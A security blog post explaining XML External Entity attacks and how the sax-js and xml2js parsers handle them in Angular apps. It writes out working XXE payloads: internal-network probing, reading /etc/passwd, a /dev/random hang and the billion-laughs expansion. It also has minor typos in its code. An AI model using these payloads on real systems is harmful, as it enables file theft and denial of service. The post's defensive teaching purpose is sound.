An XML External Entity (XXE) attack uses malicious XML constructs to compromise an application. Using an XML External Entity Attack, an attacker can steal confidential information, create a denial of service, or both. They're dangerous attacks that you need to consider when developing your applications.
Let's look at Angular XML Entities. We'll discuss why you should worry about these attacks and how you can protect your code from them.
What Is an XML External Entity Attack?
Injection Attacks
Injection attacks exploit code by supplying it with invalid data. When the target processes the data, it alters how it behaves, usually by retrieving data for the attacker or causing the application to fail.
Two things about the target application need to be true for an injection attack to succeed:
It accepts untrustworthy data.
It processes the data in a way that causes the application to misbehave.
XML External Entities
XXE Attacks are injection attacks with dangerous XML documents.
XML is a powerful language, and it's easy to craft a document to steal information or disable a target.
You build XML documents with entities. Each entity other contains or points to data.
An internal entity holds its data, while an external entity refers to data that may be located on another system or elsewhere in the document. These external entities are where the danger comes from. Let's look at a couple of examples.
Here's a document that uses a URI in an external entity. URIs are a superset of the URLs you see in HTML links.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "https://www.example.com/login" >
\]>
<foo>
<bar>&xxe;</bar>
</foo>
This document defines an entity named xxe that points to the contents of http://www.example.com/login. So, when the XML parser sees a reference to the entity, like the one between the <bar> tags, it retrieves that URL and inserts the contents of that page.
Here's an example of a document that defines a text-based custom entity:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
]>
<lolz>&lol1;</lolz>
The lol1 entity contains the string lol ten times. As a result, the parser replaces lol1 with ten lols.
Let's see how attackers use these tools.
Crafting an XML External Entity Attack
Now, let's look at some examples of XXE attacks.
Retrieving Network Information
Above, we demonstrated an external entity that pointed at a web page on the Internet. But, they use URIs, which can point to nearly any network resources, including hosts inside a private network.
For example:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "https://10.1.1.1/login" >
]>
<foo>
<bar>&xxe;</bar>
</foo<>
If 10.1.1.1 exists, is running a web server, and has a page named login, the XML parser will retrieve the page and place the contents in the XML document. If one or more of those things are false, the resulting document may contain a potentially useful error. Even if this attack fails, the hacker can learn a lot from it. They'll learn if the IP address is valid, if it's running a web server, and if the server has a login page. For example, a 404 error page would tell the attacker a lot about the target's internal network.
Stealing Files
URIs can point to files, too. We can use the same document to grab a list of users from the server running the target application with one small tweak.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "file://etc/passwd" >
\]>
<foo>
<bar>&xxe;</bar>
</foo>
Instead of inserting the contents of a web page, this attack inserts the contents of /etc/passwd in the resulting document. This attack works for any file that the application under attack has access to.
Denial of Service Via File Injection
Linux has special files that act as interfaces to devices and device drivers. If you point an XML document at the right one, you can disable an application.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "file://dev/random" >
\]>
<foo>
<bar>&xxe;</bar>
</foo>
The /dev/random file generates random numbers based on system noise, but it can't generate one until there's some noise to use. So, when an application reads from this file, the call may block: it doesn't return data until the system can generate a random number. This leaves the XML parser hanging until something happens. Send a few hundred of these malicious XML files, and you can bring the server to its knees.
Data Injection
Let's take a look at the first example again.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "https://www.example.com/login" >
\]>
<foo>
<bar>&xxe;</bar>
</foo>
This inserts a login page from an external website. If the attacker controls that website, they can use it to harvest usernames and passwords. This is an example of using XXE attacks to inject malicious data. A hacker can inject data into a vulnerable system from anywhere on the Internet.
Denial of Service With Entities
We looked at an example of using entities to define text nodes above. That document was part of the billion laughs attack.
Here's the entire document:
<?xml version="1.0"?>
<!DOCTYPE lolz \[
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
\]>
<lolz>&lol9;</lolz>
If the parser replaces each lol1 with ten lols, and each lol2 with ten lol1s, etc., all the way up to an lol9 indicating ten lol8s, then this document is expanded to a billion laughs. The name isn't hyperbole!
Angular XML External Entity Attacks
Many people associate injection attacks with server-side applications, where the right attack can compromise data or take a web application offline. But client applications are subject to these attacks, where hazards like compromised servers, man-in-the-middle attacks, or rogue redirects can lead to malicious data. So, let's see how to protect Angular applications from XXE attacks.
We can't always protect our applications from untrustworthy data. But we can make sure that our code doesn't process the data in a dangerous way. Angular doesn't ship with an XML parser; you can load any javascript parser and use it to process documents in an Angular application.
They both default to ignoring custom entities or passing them through without expansion. Sax-js ignores them, and xml2js uses sax-js to process documents. If you do want to process some custom entities, you can install your own event handlers, too.
Let's look at a quick example of how xml2js protects us. Put the document that attempts to inject the login page in a file named foo.xml.
Run this code:
ar fs = require('fs'),
xml2js = require('xml2js');
var parser = new xml2js.Parser();
fs.readFile('./foo.xml', function(err, data) {
parser.parseString(data, function (err, result) {
console.dir(result);
console.log('Done');
});
});
Here is the output:
undefined
Done
The parser ignored the custom entities and treated the document as if it contained no data.
Now, make a small change to the code. Add the strict option to the parser constructor, and set it to false.
Run the code again.
var fs = require('fs'),
xml2js = require('xml2js');
var parser = new xml2js.Parser({strict: false});
fs.readFile('./bar.xml', function(err, data) {
parser.parseString(data, function (err, result) {
console.dir(result);
console.log('Done');
});
});
Now the parser processed the custom entities but without expanding them.
{ FOO: { BAR: [ '&xxe;' ] } }
Done
You can put the other examples in files and test them out, too. Stick with these parsers and keep your dependencies up to date!
Secure Your Apps From Angular XML External Entity Attacks
Angular XML External Attacks are serious threats that can compromise your applications and expose customer data. But, stick to the right XML parsers and you're safe.
Now that you understand Angular external entity attacks, you know how to keep your applications and your customers safe. While you're at it, sign up for a free StackHawk account so you can scan for more threats and take your security to the next level!
This post was written by Eric Goebelbecker. Eric has worked in the financial markets in New York City for 25 years, developing infrastructure for market data and financial information exchange (FIX) protocol networks. He loves to talk about what makes teams effective (or not so effective!).